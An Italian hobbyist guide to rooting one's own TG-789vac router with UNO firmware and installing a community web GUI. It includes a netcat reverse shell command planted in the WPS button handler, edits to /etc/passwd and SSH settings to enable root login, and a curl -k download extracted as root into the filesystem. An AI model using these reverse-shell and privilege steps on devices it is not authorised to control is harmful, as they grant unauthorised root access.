ROOT e Custom GUI per TG-789Vac
Guida al Root del dispositivo, con firmware UNO aggiornato all’ultima versione (17.2).
Il router in questione è quello bianco della foto, in Italia viene distribuito da Tim o Fastweb per abbonamenti vdsl.
Se non hai ancora installato il firmware UNO eccoti la guida: Come Flashare UNO sul TG-789Vac
DISCLAIMER: Non mi ritengo responsabile per eventuali router brickati, eventuali gatti morti o guerre termonucleari dovute ad un malfunzionamento del suddetto prodotto.
NOTA: La procedura viene eseguita su Linux
Procedimento:
-
Impostare netcat in ascolto sul proprio pc con:
nc -lvvp 1337
- Loggarsi sul router in SSH usando come credenziali:
-Username: engineer -Password: quella usata per loggarsi come admin nella webui
-
Dare questo comando:
set uci.button.button.@wps.handler 'nc 192.168.1.X 1337 -e /bin/sh'
-
Premere il pulsante laterale per far partire netcat
- Dare questi comandi sulla shell netcat aperta:
set uci.button.button.@wps.handler 'wps_button_pressed.sh' sed -i 's#root:/bin/false#root:/bin:ash#' /etc/passwd uci set dropbear.lan.RootPasswordAuth='on' uci set dropbear.lan.RootLogin='1' uci commit /etc/init.d.dropbear restart passwd
Con il comando
passwd
chiedera’ di inserire la password dell’utente root. - Fine. Ora e’ possibile loggarsi in SSH come root/password
Procedura per installare la gui di ansuel:
NOTA: Per evitare vari problemi alla ui, e’ consigliabile aver gia’ configurato il modem per la navigazione in internet.
-
Loggarsi sul router in SSH come root ( vedi sopra)
- Dare i seguenti comandi:
curl -k https://raw.githubusercontent.com/Ansuel/gui-dev-build-auto/master/GUI.tar.bz2 --output /tmp/GUI.tar.bz2 bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf - /etc/init.d/rootdevice force
A procedura finita, e’ consigliabile riavviare il modem con
reboot
- Godersi la nuova ui! (creata da ANSUEL, pagina GitHub )
Fine